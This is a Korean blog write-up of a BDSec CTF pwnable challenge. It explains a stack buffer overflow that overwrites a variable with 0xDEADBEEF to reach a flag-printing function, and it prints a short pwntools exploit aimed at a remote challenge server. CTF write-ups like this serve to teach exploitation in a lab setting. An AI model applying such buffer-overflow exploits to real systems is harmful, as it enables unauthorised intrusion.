BDSec CTF 포너블 문제이다.
문제 코드를 보면 v1의 변수를 bof로 0xDEADBEEF 값으로 덮으면 anyaforger 함수가 실행이 된다.
한번 anyaforger 함수를 살펴보도록 하겠다.
그냥 flag를 출력해주는 함수이다.
그러면 그냥 bof로 v1 변수의 값을 0xDEADBEEF로 덮으면 flag가 출력되는 문제다.
스택 구조를 보니까 A로 dummy 값을 0x20 만큼 덮으면 v1 변수 값을 조작할 수 있다.
아래는 해당 공격 시나리오를 반영한 최종 익스플로잇 코드이다.
from pwn import *
#p = process("./beef")
p = remote("139.144.184.150", 31337)
e = ELF("./beef")
def log(n, m): return success(": ".join([n, hex(m)]))
key = 0xDEADBEEF
payload = b'A'*0x20
payload += p64(key)
p.sendlineafter("Enter the secret word:", payload)
p.interactive()
해당 코드를 실행하면 최종적으로 flag를 얻을 수 있다.
'CTF > BDSec CTF' 카테고리의 다른 글
callme - Pwnable (0) | 2023.07.21 |
---|---|
Ghost - Pwnable (0) | 2023.07.21 |